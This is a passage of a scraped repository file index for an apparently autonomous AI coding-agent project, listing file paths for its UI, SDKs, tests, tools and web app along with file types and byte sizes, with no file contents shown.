er/routes/index.tspackages/control-plane/src/server/routes/integrations.tspackages/control-plane/src/server/routes/memory.tspackages/control-plane/src/server/routes/merge_risk.tspackages/control-plane/src/server/routes/metrics.tspackages/control-plane/src/server/routes/notify.tspackages/control-plane/src/server/routes/providers.tspackages/control-plane/src/server/routes/session_control.tspackages/control-plane/src/server/routes/start.tspackages/control-plane/src/server/routes/stats.tspackages/control-plane/src/server/routes/stream.tspackages/control-plane/src/server/routes/verify.tspackages/control-plane/src/server/runs.tspackages/control-plane/src/server/serve.tspackages/control-plane/src/server/spawn.tspackages/control-plane/src/shipper/backfill.tspackages/control-plane/src/shipper/discover.tspackages/control-plane/src/shipper/ship.tspackages/control-plane/src/shipper/watch.tspackages/control-plane/ui/package.jsonpackages/control-plane/ui/postcss.config.jspackages/control-plane/ui/src/App.tsxpackages/control-plane/ui/src/Live.tsxpackages/control-plane/ui/src/Shell.tsxpackages/control-plane/ui/src/api.tspackages/control-plane/ui/src/design/primitives/index.tsxpackages/control-plane/ui/src/design/tailwind.preset.tspackages/control-plane/ui/src/display.tspackages/control-plane/ui/src/format.tspackages/control-plane/ui/src/main.tsxpackages/control-plane/ui/src/pages/ask/api.tspackages/control-plane/ui/src/pages/ask/index.tsxpackages/control-plane/ui/src/pages/board/Board.tsxpackages/control-plane/ui/src/pages/board/columns.tspackages/control-plane/ui/src/pages/board/index.tsxpackages/control-plane/ui/src/pages/compose/api.tspackages/control-plane/ui/src/pages/compose/index.tsxpackages/control-plane/ui/src/pages/compose/store.tspackages/control-plane/ui/src/pages/cost/data.tspackages/control-plane/ui/src/pages/cost/index.tsxpackages/control-plane/ui/src/pages/home/Home.tsxpackages/control-plane/ui/src/pages/home/index.tsxpackages/control-plane/ui/src/pages/integrations/index.tsxpackages/control-plane/ui/src/pages/merge/index.tsxpackages/control-plane/ui/src/pages/models/index.tsxpackages/control-plane/ui/src/pages/plans/Plans.tsxpackages/control-plane/ui/src/pages/plans/api.tspackages/control-plane/ui/src/pages/plans/index.tsxpackages/control-plane/ui/src/pages/plans/logic.tspackages/control-plane/ui/src/pages/receipts/Receipts.tsxpackages/control-plane/ui/src/pages/receipts/api.tspackages/control-plane/ui/src/pages/receipts/index.tsxpackages/control-plane/ui/src/pages/registry.tspackages/control-plane/ui/src/pages/risk/index.tsxpackages/control-plane/ui/src/pages/run-controls/index.tsxpackages/control-plane/ui/src/pages/run/facts.tspackages/control-plane/ui/src/pages/run/index.tsxpackages/control-plane/ui/src/pages/run/model.tspackages/control-plane/ui/src/pages/run/stream.tspackages/control-plane/ui/src/pages/run/timeline.tspackages/control-plane/ui/src/pages/runs/Lists.tsxpackages/control-plane/ui/src/pages/runs/OutcomeChip.tsxpackages/control-plane/ui/src/pages/runs/data.tspackages/control-plane/ui/src/pages/runs/index.tsxpackages/control-plane/ui/src/pages/runs/issues.tspackages/control-plane/ui/src/pages/settings/config-api.tspackages/control-plane/ui/src/pages/settings/index.tsxpackages/control-plane/ui/src/pages/wired.tsxpackages/control-plane/ui/src/pages/workspaces/Workspaces.tsxpackages/control-plane/ui/src/pages/workspaces/index.tsxpackages/control-plane/ui/src/pages/workspaces/logic.tspackages/control-plane/ui/src/palette/index.tsxpackages/control-plane/ui/src/palette/items.tspackages/control-plane/ui/src/shell/AppShell.tsxpackages/control-plane/ui/src/shell/Mascot.tsxpackages/control-plane/ui/src/shell/hooks.tspackages/control-plane/ui/src/shell/theme.tspackages/control-plane/ui/tailwind.config.jspackages/control-plane/ui/vite.config.tspackages/loki-seal/bin/contract.jspackages/loki-seal/bin/loki-seal.jspackages/loki-seal/demo/dry-run.shpackages/loki-seal/demo/setup.shplugins/loki-mode/scripts/loki-guard.shplugins/loki-mode/scripts/loki-stop-verify.shproviders/claude.shproviders/loader.shproviders/managed.pyproviders/model_route_exec.shproviders/model_routes.shproviders/models.shproviders/opencode.shscripts/cp-closure.pyscripts/dep-inventory.pyscripts/dogfood-stats.shscripts/generate-stale-zero.shscripts/install-gitleaks.shscripts/install-hooks.shscripts/local-ci.shscripts/loki-wrapper.shscripts/measure-run.shscripts/npm-dist-tags.shscripts/release-notes.shscripts/release.shscripts/select-tests.shscripts/skill-toc.shscripts/smoke-install.shscripts/sync-to-vibe-kanban.shscripts/update-changelog.shscripts/usage-governor.pyscripts/verify-pr-sandbox.shscripts/vibe-sync-watcher.shscripts/vpr-pytest-boot/loki_vpr_boot.pyscripts/vpr-pytest-boot/loki_vpr_plugin.pyscripts/vpr-pytest-boot/loki_vpr_site.pysdk/python/loki_mode_sdk/__init__.pysdk/python/loki_mode_sdk/auth.pysdk/python/loki_mode_sdk/client.pysdk/python/loki_mode_sdk/events.pysdk/python/loki_mode_sdk/sessions.pysdk/python/loki_mode_sdk/tasks.pysdk/python/loki_mode_sdk/types.pysdk/typescript/dist/audit.d.tssdk/typescript/dist/audit.jssdk/typescript/dist/client.d.tssdk/typescript/dist/client.jssdk/typescript/dist/errors.d.tssdk/typescript/dist/errors.jssdk/typescript/dist/index.d.tssdk/typescript/dist/index.jssdk/typescript/dist/runs.d.tssdk/typescript/dist/runs.jssdk/typescript/dist/tenants.d.tssdk/typescript/dist/tenants.jssdk/typescript/dist/types.d.tssdk/typescript/dist/types.jssdk/typescript/package.jsonsdk/typescript/scripts/normalize-package-permissions.mjssdk/typescript/src/audit.tssdk/typescript/src/client.tssdk/typescript/src/errors.tssdk/typescript/src/index.tssdk/typescript/src/runs.tssdk/typescript/src/tenants.tssdk/typescript/src/types.tssrc/audit/compliance-scheduler.jssrc/audit/compliance.jssrc/audit/crosslink.jssrc/audit/index.jssrc/audit/log.jssrc/audit/residency.jssrc/audit/subscriber.jssrc/integrations/adapter.jssrc/integrations/github/action-handler.jssrc/integrations/github/reporter.jssrc/integrations/jira/api-client.jssrc/integrations/jira/epic-converter.jssrc/integrations/jira/index.jssrc/integrations/jira/sync-manager.jssrc/integrations/jira/webhook-handler.jssrc/integrations/linear/client.jssrc/integrations/linear/config.jssrc/integrations/linear/index.jssrc/integrations/linear/sync.jssrc/integrations/slack/adapter.jssrc/integrations/slack/blocks.jssrc/integrations/slack/commands.jssrc/integrations/slack/index.jssrc/integrations/slack/webhook-handler.jssrc/integrations/sync-subscriber.jssrc/integrations/teams/adapter.jssrc/integrations/teams/cards.jssrc/integrations/teams/index.jssrc/integrations/teams/webhook.jssrc/observability/genai-spans.jssrc/observability/index.jssrc/observability/metrics.jssrc/observability/otel-bridge.jssrc/observability/otel.jssrc/observability/siem-export.jssrc/observability/spans.jssrc/plugins/agent-plugin.jssrc/plugins/gate-plugin.jssrc/plugins/index.jssrc/plugins/integration-plugin.jssrc/plugins/loader.jssrc/plugins/mcp-plugin.jssrc/plugins/validator.jssrc/policies/approval.jssrc/policies/check.jssrc/policies/claude_permissions.jssrc/policies/cost.jssrc/policies/engine.jssrc/policies/index.jssrc/policies/types.jssrc/protocols/a2a/agent-card.jssrc/protocols/a2a/artifacts.jssrc/protocols/a2a/client.jssrc/protocols/a2a/index.jssrc/protocols/a2a/streaming.jssrc/protocols/a2a/task-manager.jssrc/protocols/auth/oauth.jssrc/protocols/mcp-circuit-breaker.jssrc/protocols/mcp-client-manager.jssrc/protocols/mcp-client.jssrc/protocols/mcp-server.jssrc/protocols/resources/continuity.jssrc/protocols/resources/memory.jssrc/protocols/tools/agent-metrics.jssrc/protocols/tools/checkpoint-restore.jssrc/protocols/tools/project-status.jssrc/protocols/tools/quality-report.jssrc/protocols/tools/start-project.jssrc/protocols/transport/sse.jssrc/protocols/transport/stdio.jssrc/protocols/untrusted.jsstate/__init__.pystate/index.tsstate/manager.pystate/manager.tsstate/sqlite_backend.pyswarm/__init__.pyswarm/adjuster.pyswarm/bft.pyswarm/calibration.pyswarm/classifier.pyswarm/cli.pyswarm/composer.pyswarm/intelligence.pyswarm/messages.pyswarm/patterns.pyswarm/performance.pyswarm/registry.pyswarm/sycophancy.pytests/detect-hallucinated-deps.shtests/detect-invariant-violations.shtests/detect-mock-problems.shtests/detect-semantic-test-problems.shtests/detect-test-mutations.shtests/min/auto-route.shtests/min/cli-entrypoints.shtests/min/context-pack.shtests/min/decompose-and-intake.shtests/min/detect-gates.shtests/min/dist-freshness.shtests/min/docker-and-zip-sources.shtests/min/engine10-e2e-stub.shtests/min/fixtures/context/go-ratelimit/repo/limiter/clock.gotests/min/fixtures/context/go-ratelimit/repo/limiter/limiter.gotests/min/fixtures/context/go-ratelimit/repo/limiter/limiter_test.gotests/min/fixtures/context/go-ratelimit/repo/server/handler.gotests/min/fixtures/context/go-ratelimit/repo/server/health.gotests/min/fixtures/context/go-ratelimit/solution/limiter/limiter.gotests/min/fixtures/context/py-accounts/repo/accounts/__init__.pytests/min/fixtures/context/py-accounts/repo/accounts/audit.pytests/min/fixtures/context/py-accounts/repo/accounts/errors.pytests/min/fixtures/context/py-accounts/repo/accounts/models.pytests/min/fixtures/context/py-accounts/repo/accounts/service.pytests/min/fixtures/context/py-accounts/repo/accounts/store.pytests/min/fixtures/context/py-accounts/repo/accounts/validate.pytests/min/fixtures/context/py-accounts/repo/tests/test_service.pytests/min/fixtures/context/py-accounts/solution/accounts/errors.pytests/min/fixtures/context/py-accounts/solution/accounts/service.pytests/min/fixtures/context/py-accounts/solution/accounts/store.pytests/min/fixtures/context/ts-invoice/repo/package.jsontests/min/fixtures/context/ts-invoice/repo/src/customers.tstests/min/fixtures/context/ts-invoice/repo/src/invoice.tstests/min/fixtures/context/ts-invoice/repo/src/money.tstests/min/fixtures/context/ts-invoice/repo/src/report.tstests/min/fixtures/context/ts-invoice/repo/src/shipping.tstests/min/fixtures/context/ts-invoice/repo/src/tax.tstests/min/fixtures/context/ts-invoice/repo/test/invoice.test.tstests/min/fixtures/context/ts-invoice/solution/src/invoice.tstests/min/fixtures/context/ts-invoice/solution/src/money.tstests/min/fixtures/context/ts-invoice/solution/src/tax.tstests/min/fixtures/e2e/bin/claudetests/min/fixtures/e2e/repo/calc.test.tstests/min/fixtures/e2e/repo/calc.tstests/min/fixtures/e2e/sdk/@anthropic-ai/claude-agent-sdk-stub/claudetests/min/fixtures/e2e/vitest-bin/npxtests/min/fixtures/e2e/vitest-bin/vitesttests/min/fixtures/opencode/bin/opencodetests/min/fixtures/stacks/go/calc/calc.gotests/min/fixtures/stacks/go/calc/calc_test.gotests/min/fixtures/stacks/go/cmd/main.gotests/min/fixtures/triage/bin/ghtests/min/fixtures/triage/jira_server.pytests/min/h2h-harness.shtests/min/host-guard.shtests/min/hygiene.shtests/min/issue-context.shtests/min/learn-from-runs.shtests/min/lib.shtests/min/newcomer-path.shtests/min/one-line-goal.shtests/min/outcome-metrics.shtests/min/pack-contents.shtests/min/providers-supported.shtests/min/receipt-roundtrip.shtests/min/redaction.shtests/min/release-notes.shtests/min/run-safety.shtests/min/scope-and-fix.shtests/min/stacks.shtests/min/syntax.shtests/min/triage-router.shtests/min/typecheck.shtests/min/version-consistency.shtests/test-plugin-json-current.shtests/test-server-json-current.shtools/audit-docs.pytools/baseline-pin.pytools/bench_cross_project_lift.pytools/bench_memory_retrieval.pytools/calibration-audit.pytools/ci-gate.pytools/cost-attribute.pytools/cost-forecast.pytools/cost-guard.pytools/cost-history.pytools/cost-per-outcome.pytools/estimate-run.pytools/gate-badge.pytools/gate-explain.pytools/gate-init.pytools/gate-log.pytools/gate-report.pytools/gate-status.pytools/gate-trend.pytools/hybrid_search.pytools/index-codebase.pytools/model-advisor.pytools/normalize-package-permissions.mjstools/outcome-canary-evaluate.pytools/outcome-canary-observe.pytools/outcome-canary-receipt-verify.pytools/outcome-canary-receipt.pytools/outcome-canary.pytools/outcome-router.pytools/policy-diff.pytools/policy-load.pytools/preflight.shtools/probe-model-catalog.pytools/proof-passport.pytools/receipt-attest.pytools/receipt-bundle.pytools/receipt-diff.pytools/receipt-export.pytools/receipt-find.pytools/receipt-stats.pytools/receipt-verify-batch.pytools/regen-state-machine-refs.pytools/run-replay.pytools/token-guard.pytools/tool-index.pytools/verification-tax.pytools/verify-chain.pytools/verify-demo.shvendor/autonomi-verify/embed.jsweb-app/Dockerfileweb-app/auth.pyweb-app/crypto.pyweb-app/dist/assets/AdminPage-0bmzFL_H.jsweb-app/dist/assets/Avatar-CCOnr1Br.jsweb-app/dist/assets/Badge-OabKAhBk.jsweb-app/dist/assets/Button-Pb6cYL9O.jsweb-app/dist/assets/CockpitPage-C42HXGgd.jsweb-app/dist/assets/ComparePage-CzTHDUhY.jsweb-app/dist/assets/ErrorBoundary-iEMh3HfQ.jsweb-app/dist/assets/EvidenceReceiptPanel-tsCWt07q.jsweb-app/dist/assets/GitHubIssuesPanel-Dynw9316.jsweb-app/dist/assets/GitHubPRsPanel-cQ-fQo3W.jsweb-app/dist/assets/HomePage-mHgVLI9j.jsweb-app/dist/assets/LoginPage-BCsBRGUT.jsweb-app/dist/assets/MagicPage-NPSBAxfc.jsweb-app/dist/assets/MetricsPage-DE5BYswy.jsweb-app/dist/assets/NotFoundPage-ChakqXtu.jsweb-app/dist/assets/ProjectPage-BCv8qSrj.jsweb-app/dist/assets/ProjectsPage-D7t3kXi1.jsweb-app/dist/assets/SettingsPage-DWcOoseJ.jsweb-app/dist/assets/ShowcasePage-BGBS53rc.jsweb-app/dist/assets/SystemSettingsPage-DnlNsHR1.jsweb-app/dist/assets/TeamsPage-gbdyps5P.jsweb-app/dist/assets/TemplatesPage-CoCS7TBP.jsweb-app/dist/assets/TerminalOutput-Bu59uXM6.jsweb-app/dist/assets/activity-RK1kWujc.jsweb-app/dist/assets/bell-PkQgU5tb.jsweb-app/dist/assets/bot-KfQKc1W2.jsweb-app/dist/assets/check-CLP-eFsI.jsweb-app/dist/assets/chevron-left-L1ARkN2A.jsweb-app/dist/assets/circle-alert-DQaOtcz7.jsweb-app/dist/assets/clock-Dj81AT7o.jsweb-app/dist/assets/cloud-CBc9HiD3.jsweb-app/dist/assets/code-xml-Cg-6mn1e.jsweb-app/dist/assets/database-hcC4hh9n.jsweb-app/dist/assets/dollar-sign-D7KwqRKC.jsweb-app/dist/assets/file-code-corner-BeiPZfPk.jsweb-app/dist/assets/file-plus-Bbb3V7O6.jsweb-app/dist/assets/globe-ePwFFIti.jsweb-app/dist/assets/hammer-DCZkTmjn.jsweb-app/dist/assets/index-DOUc1fHo.jsweb-app/dist/assets/layers-DCsRb5Mz.jsweb-app/dist/assets/loader-circle-20jch_P3.jsweb-app/dist/assets/lock-BR3SVeMz.jsweb-app/dist/assets/package-BBTTXS5s.jsweb-app/dist/assets/plus-Djq8BzoS.jsweb-app/dist/assets/refresh-cw-wsCa1mCg.jsweb-app/dist/assets/rotate-ccw-DR6yOe_5.jsweb-app/dist/assets/scroll-text-B8xdqAGX.jsweb-app/dist/assets/server-Dm3VKzKU.jsweb-app/dist/assets/shield-alert-CG6IydWg.jsweb-app/dist/assets/thumbs-up-Dm-ujUy6.jsweb-app/dist/assets/trash-2-BqO_GJJk.jsweb-app/dist/assets/trending-down-DaPKY5Q9.jsweb-app/dist/assets/trending-up-COtd-NWK.jsweb-app/dist/assets/upload-CbiA6m9-.jsweb-app/dist/assets/usePolling--6qRWxz8.jsweb-app/dist/assets/user-DD2d70oe.jsweb-app/eslint.config.jsweb-app/migrations/env.pyweb-app/migrations/versions/001_initial_schema.pyweb-app/models.pyweb-app/package.jsonweb-app/postcss.config.jsweb-app/server.pyweb-app/src/App.tsxweb-app/src/api/client.tsweb-app/src/cockpit/AgentChatter.tsxweb-app/src/cockpit/ChangeReview.tsxweb-app/src/cockpit/EvidencePanel.tsxweb-app/src/cockpit/ExecutionCockpit.tsxweb-app/src/cockpit/FinalActions.tsxweb-app/src/cockpit/PhaseTimeline.tsxweb-app/src/cockpit/RiskPanel.tsxweb-app/src/cockpit/RunMetrics.tsxweb-app/src/cockpit/StatusBanner.tsxweb-app/src/cockpit/TaskHeader.tsxweb-app/src/cockpit/derive.tsweb-app/src/cockpit/phases.tsweb-app/src/cockpit/run-derive-view-test.mjsweb-app/src/cockpit/useCockpitState.tsweb-app/src/components/AIChatPanel.tsxweb-app/src/components/AchievementToast.tsxweb-app/src/components/ActivityFeed.tsxweb-app/src/components/ActivityPanel.tsxweb-app/src/components/AgentDashboard.tsxweb-app/src/components/AuditTrail.tsxweb-app/src/components/Avatar.tsxweb-app/src/components/BenefitCards.tsxweb-app/src/components/BuildActivityFeed.tsxweb-app/src/components/BuildCelebration.tsxweb-app/src/components/BuildInsights.tsxweb-app/src/components/BuildProgressBar.tsxweb-app/src/components/BuildReplay.tsxweb-app/src/components/CICDPanel.tsxweb-app/src/components/Celebration.tsxweb-app/src/components/ChangePreview.tsxweb-app/src/components/ChangelogWidget.tsxweb-app/src/components/CheckpointTimeline.tsxweb-app/src/components/CommandPalette.tsxweb-app/src/components/ComplianceDashboard.tsxweb-app/src/components/ContextualHelp.tsxweb-app/src/components/ControlBar.tsxweb-app/src/components/CostEstimator.tsxweb-app/src/components/CustomTemplateCreator.tsxweb-app/src/components/DeployConnections.tsxweb-app/src/components/DeployPanel.tsxweb-app/src/components/DeviceFrameSelector.tsxweb-app/src/components/Divider.tsxweb-app/src/components/DocsSidebar.tsxweb-app/src/components/ErrorBoundary.tsxweb-app/src/components/EvidenceReceiptPanel.tsxweb-app/src/components/FeatureDiscoveryDot.tsxweb-app/src/components/FeaturedTemplates.tsxweb-app/src/components/FileBrowser.tsxweb-app/src/components/Footer.tsxweb-app/src/components/GettingStarted.tsxweb-app/src/components/GitHubIssuesPanel.tsxweb-app/src/components/GitHubPRsPanel.tsxweb-app/src/components/GitPanel.tsxweb-app/src/components/HowItWorks.tsxweb-app/src/components/KeyboardShortcuts.tsxweb-app/src/components/LoadingMessages.tsxweb-app/src/components/MagicComponentCard.tsxweb-app/src/components/MagicGeneratorPanel.tsxweb-app/src/components/MemoryViewer.tsxweb-app/src/components/MetricsPanel.tsxweb-app/src/components/NLSearch.tsxweb-app/src/components/NotificationSystem.tsxweb-app/src/components/OnboardingOverlay.tsxweb-app/src/components/OpenSourceStats.tsxweb-app/src/components/PRDInput.tsxweb-app/src/components/PhaseVisualizer.tsxweb-app/src/components/PlanModal.tsxweb-app/src/components/PreviewToolbar.tsxweb-app/src/components/ProductTour.tsxweb-app/src/components/ProjectGovernance.tsxweb-app/src/components/ProjectWorkspace.tsxweb-app/src/components/QualityGatesPanel.tsxweb-app/src/components/RBACPanel.tsxweb-app/src/components/ROICalculator.tsxweb-app/src/components/ReportPanel.tsxweb-app/src/components/Roadmap.tsxweb-app/src/components/SessionHistory.tsxweb-app/src/components/SmartSuggestions.tsxweb-app/src/components/StatusBar.tsxweb-app/src/components/StatusOverview.tsxweb-app/src/components/Tag.tsxweb-app/src/components/TeamPanel.tsxweb-app/src/components/TemplatePreview.tsxweb-app/src/components/TerminalEmulator.tsxweb-app/src/components/TerminalOutput.tsxweb-app/src/components/TokenSparkline.tsxweb-app/src/components/TrustedBy.tsxweb-app/src/components/UsageAnalytics.tsxweb-app/src/components/UserManagement.tsxweb-app/src/components/VirtualList.tsxweb-app/src/components/WarmEmptyState.tsxweb-app/src/components/WhatsNew.tsxweb-app/src/components/auth/ProtectedRoute.tsxweb-app/src/components/charts/DonutChart.tsxweb-app/src/components/charts/LineChart.tsxweb-app/src/components/layout/AppShell.tsxweb-app/src/components/layout/Sidebar.tsxweb-app/src/components/settings/SettingInput.tsxweb-app/src/components/settings/SettingSelect.tsxweb-app/src/components/settings/SettingSlider.tsxweb-app/src/components/settings/SettingToggle.tsxweb-app/src/components/ui/Badge.tsxweb-app/src/components/ui/Button.tsxweb-app/src/components/ui/Card.tsxweb-app/src/components/ui/ContextMenu.tsxweb-app/src/components/ui/IconButton.tsxweb-app/src/components/ui/Skeleton.tsxweb-app/src/contexts/NotificationContext.tsxweb-app/src/hooks/useAuth.tsxweb-app/src/hooks/useEscapeKey.tsweb-app/src/hooks/useFocusTrap.tsweb-app/src/hooks/usePolling.tsweb-app/src/hooks/usePullToRefresh.tsweb-app/src/hooks/useTheme.tsweb-app/src/hooks/useWebSocket.tsweb-app/src/main.tsxweb-app/src/pages/AdminPage.tsxweb-app/src/pages/CockpitPage.tsxweb-app/src/pages/ComparePage.tsxweb-app/src/pages/HomePage.tsxweb-app/src/pages/LoginPage.tsxweb-app/src/pages/MagicPage.tsxweb-app/src/pages/MetricsPage.tsxweb-app/src/pages/NotFoundPage.tsxweb-app/src/pages/ProjectPage.tsxweb-app/src/pages/ProjectsPage.tsxweb-app/src/pages/SettingsPage.tsxweb-app/src/pages/ShowcasePage.tsxweb-app/src/pages/SystemSettingsPage.tsxweb-app/src/pages/TeamsPage.tsxweb-app/src/pages/TemplatesPage.tsxweb-app/src/types/api.tsweb-app/src/vite-env.d.tsweb-app/tailwind.config.jsweb-app/vite.config.ts
Files
.claude-plugin/marketplace.jsonasset1,494 bytes.claude/commands/loki-grill.mddoc1,744 bytes.claude/commands/loki-spec-status.mddoc1,752 bytes.claude/commands/loki-verify.mddoc2,140 bytes.claude/settings.jsonasset3 bytes.dockerignoreasset644 bytes.githooks/pre-commitruns1,635 bytes.githooks/pre-pushruns27,768 bytes.github/CODEOWNERSasset13 bytes.github/CODE_OF_CONDUCT.mddoc1,866 bytes.github/CONTRIBUTING.mddoc6,706 bytes.github/DISCUSSION_TEMPLATE/ideas.ymlasset1,292 bytes.github/DISCUSSION_TEMPLATE/q-and-a.ymlasset1,097 bytes.github/DISCUSSION_TEMPLATE/show-and-tell.ymlasset1,133 bytes.github/ISSUE_TEMPLATE/bug_report.mddoc989 bytes.github/ISSUE_TEMPLATE/config.ymlasset353 bytes.github/ISSUE_TEMPLATE/enterprise.mddoc1,659 bytes.github/ISSUE_TEMPLATE/feature_request.mddoc578 bytes.github/PULL_REQUEST_TEMPLATE.mddoc914 bytes.github/actions/issue-to-pr/action.ymlasset12,059 bytes.github/actions/receipt-check/action.ymlasset1,157 bytes.github/actions/receipt-check/check.shruns2,011 bytes.github/actions/review/action.ymlasset1,171 bytes.github/cla/version1/cla.jsonasset1,199 bytes.github/dependabot.ymlasset666 bytes.github/workflows/converge-dist-tags.ymlasset2,465 bytes.github/workflows/pr-fast.ymlasset2,274 bytes.github/workflows/release.ymlasset39,972 bytes.github/workflows/sdk-freshness.ymlasset543 bytes.gitignoreasset4,336 bytes.gitleaksignoreasset17,647 bytes.mcp.jsonasset216 bytes.npmignoreasset1,315 bytesCHANGELOG.mddoc2,183,614 bytesCLA.mddoc1,640 bytesCLAUDE.mddoc7,416 bytesCOMMERCIAL-TERMS.mddoc3,778 bytesLICENSEasset3,923 bytesREADME.mddoc15,427 bytesSECURITY.mddoc1,012 bytesSKILL.mdcore28,953 bytesSKILL.mdcore28,953 bytesSKILL.mdcore28,953 bytesSKILL.mdcore28,953 bytesSKILL.mdcore28,953 bytesSKILL.mdcore28,953 bytesUPGRADING.mddoc970 bytesVERSIONasset9 bytesaction.ymlasset18,256 bytesagents/custom_agents.pyruns10,207 bytesagents/hub_install.pyruns24,140 bytesagents/managed_registry.pyruns8,197 bytesagents/types.jsonasset16,561 bytesapi/README.mddoc7,117 bytesapi/client.tsruns9,623 bytesapi/middleware/auth.tsruns2,989 bytesapi/middleware/cors.tsruns3,132 bytesapi/middleware/error.tsruns6,196 bytesapi/middleware/timing.tsruns3,382 bytesapi/mod.tsruns1,173 bytesapi/openapi.yamlasset31,193 bytesapi/routes/events.tsruns4,347 bytesapi/routes/health.tsruns8,272 bytesapi/routes/learning.tsruns13,013 bytesapi/routes/memory.tsruns39,720 bytesapi/routes/sessions.tsruns8,480 bytesapi/routes/tasks.tsruns4,586 bytesapi/server.jsruns23,035 bytesapi/server.tsruns12,991 bytesapi/services/cli-bridge.tsruns13,642 bytesapi/services/event-bus.tsruns4,508 bytesapi/services/learning-collector.tsruns20,423 bytesapi/services/state-notifications.tsruns10,395 bytesapi/services/state-watcher.tsruns15,147 bytesapi/types/api.tsruns2,131 bytesapi/types/events.tsruns2,714 bytesapi/types/memory.tsruns6,882 bytesassets/lokesh_brand_full.pngasset1,331,486 bytesassets/publisher-icon-128.pngasset8,230 bytesassets/welcome/welcome.htmlasset17,381 bytesautonomy/CONSTITUTION.mddoc16,225 bytesautonomy/NOTIFY_INTEGRATION.mddoc9,535 bytesautonomy/README.mddoc7,665 bytesautonomy/acp-agent.pyruns4,361 bytesautonomy/api-server.jsruns18,016 bytesautonomy/app-runner.shruns88,865 bytesautonomy/bmad-adapter.pyruns40,499 bytesautonomy/checklist-verify.pyruns28,533 bytesautonomy/completion-council.shruns245,055 bytesautonomy/config.example.yamlasset6,246 bytesautonomy/context-tracker.pyruns16,597 bytesautonomy/council-v2.shruns29,428 bytesautonomy/crash.shruns9,867 bytesautonomy/docker-run.shruns21,434 bytesautonomy/edit.shruns10,451 bytesautonomy/grill.shruns20,260 bytesautonomy/hooks/migration-hooks.shruns45,457 bytesautonomy/hooks/quality-gate.shruns1,280 bytesautonomy/hooks/session-init.shruns1,712 bytesautonomy/hooks/store-episode.shruns1,560 bytesautonomy/hooks/track-metrics.shruns703 bytesautonomy/hooks/validate-bash.shruns48,219 bytesautonomy/intent.shruns16,636 bytesautonomy/issue-parser.shruns26,100 bytesautonomy/issue-providers.shruns24,900 bytesautonomy/lib/ablation.pyruns16,241 bytesautonomy/lib/assets_bundle.pyruns17,418 bytesautonomy/lib/backlog.pyruns33,128 bytesautonomy/lib/browser-open.shruns1,884 bytesautonomy/lib/chat.shruns25,879 bytesautonomy/lib/check_author.pyruns14,766 bytesautonomy/lib/checkpoint_sync.pyruns15,495 bytesautonomy/lib/claim_grounding.pyruns7,094 bytesautonomy/lib/claude-flags.shruns62,802 bytesautonomy/lib/claude_permissions.pyruns3,600 bytesautonomy/lib/cockpit-render.shruns15,509 bytesautonomy/lib/config-map.shruns50,526 bytesautonomy/lib/contract-scaffold/README.mddoc4,020 bytesautonomy/lib/contract-scaffold/generate.mjsruns3,830 bytesautonomy/lib/contract-scaffold/scaffold.shruns4,675 bytesautonomy/lib/contract-scaffold/templates/server/index.mjs.tmplasset2,574 bytesautonomy/lib/contract-scaffold/templates/server/package.json.tmplasset212 bytesautonomy/lib/contract-scaffold/templates/ui/ListView.tsx.tmplasset3,165 bytesautonomy/lib/contract-scaffold/templates/ui/theme.css.tmplasset3,590 bytesautonomy/lib/cost-summary.pyruns12,398 bytesautonomy/lib/cr-rematerialize.pyruns7,701 bytesautonomy/lib/crash_capture.pyruns8,808 bytesautonomy/lib/crash_redact.pyruns19,662 bytesautonomy/lib/deadline.pyruns36,766 bytesautonomy/lib/decision_record.pyruns11,289 bytesautonomy/lib/dependency-setup.shruns7,737 bytesautonomy/lib/done-recognition.shruns48,034 bytesautonomy/lib/efficiency_cost.pyruns17,725 bytesautonomy/lib/effort_estimator.pyruns15,241 bytesautonomy/lib/engine10-push-gitlab.shruns6,255 bytesautonomy/lib/engine10-push.shruns20,778 bytesautonomy/lib/expectation-ledger.pyruns13,940 bytesautonomy/lib/failure_memory.pyruns7,952 bytesautonomy/lib/fast_verify.pyruns18,131 bytesautonomy/lib/functional-verify.pyruns18,897 bytesautonomy/lib/gate_policy.pyruns2,334 bytesautonomy/lib/git-pr-advisory.shruns4,734 bytesautonomy/lib/help-core.shruns6,830 bytesautonomy/lib/iteration_attribution.pyruns11,458 bytesautonomy/lib/json-output.shruns1,192 bytesautonomy/lib/lock.shruns5,120 bytesautonomy/lib/loki_yaml.pyruns8,612 bytesautonomy/lib/mcp-config.shruns13,841 bytesautonomy/lib/modernize/java_capture.shruns21,923 bytesautonomy/lib/modernize/py_capture.pyruns27,308 bytesautonomy/lib/modernize/py_imports.pyruns8,870 bytesautonomy/lib/no_mock_scan.pyruns29,199 bytesautonomy/lib/os_sandbox.pyruns23,584 bytesautonomy/lib/outcome_contract.pyruns5,148 bytesautonomy/lib/outcome_ledger.pyruns21,010 bytesautonomy/lib/own-render.pyruns28,777 bytesautonomy/lib/prd-enrich.shruns19,539 bytesautonomy/lib/preedit_snapshot.pyruns9,241 bytesautonomy/lib/project-graph.shruns25,958 bytesautonomy/lib/proof-analytics-props.pyruns6,124 bytesautonomy/lib/proof-check.shruns12,280 bytesautonomy/lib/proof-generator.pyruns119,444 bytesautonomy/lib/proof-pr.shruns17,300 bytesautonomy/lib/proof-template.htmlasset69,282 bytesautonomy/lib/proof-verify.pyruns78,762 bytesautonomy/lib/proof_redact.pyruns15,011 bytesautonomy/lib/requirements_contract.pyruns28,524 bytesautonomy/lib/review_risk.pyruns3,622 bytesautonomy/lib/run-summary.shruns5,586 bytesautonomy/lib/scaffold-hook.shruns3,613 bytesautonomy/lib/sdk-mode.shruns4,833 bytesautonomy/lib/secret-paths.jsonasset188 bytesautonomy/lib/secret-scan.shruns8,390 bytesautonomy/lib/secure-scan.pyruns42,947 bytesautonomy/lib/sentrux-gate.shruns5,788 bytesautonomy/lib/setup-requirements.jsonasset4,458 bytesautonomy/lib/silence_report.pyruns5,799 bytesautonomy/lib/skill-link-heal.shruns7,799 bytesautonomy/lib/spec-expand.shruns8,035 bytesautonomy/lib/telemetry-schema.jsonasset9,286 bytesautonomy/lib/tree_digest.pyruns8,224 bytesautonomy/lib/trust_metrics.pyruns23,487 bytesautonomy/lib/trust_trajectory.pyruns21,469 bytesautonomy/lib/verdict.pyruns7,379 bytesautonomy/lib/voter-agents.shruns26,581 bytesautonomy/lib/wiki-ask.pyruns4,744 bytesautonomy/lib/wiki-generator.pyruns21,673 bytesautonomy/lib/wiki_index.pyruns9,360 bytesautonomy/lib/wiki_llm.pyruns6,089 bytesautonomy/lib/workspace.pyruns31,866 bytesautonomy/lib/workspace_comment.pyruns3,844 bytesautonomy/lib/workspace_diff.pyruns10,430 bytesautonomy/lib/workspace_metrics.pyruns3,336 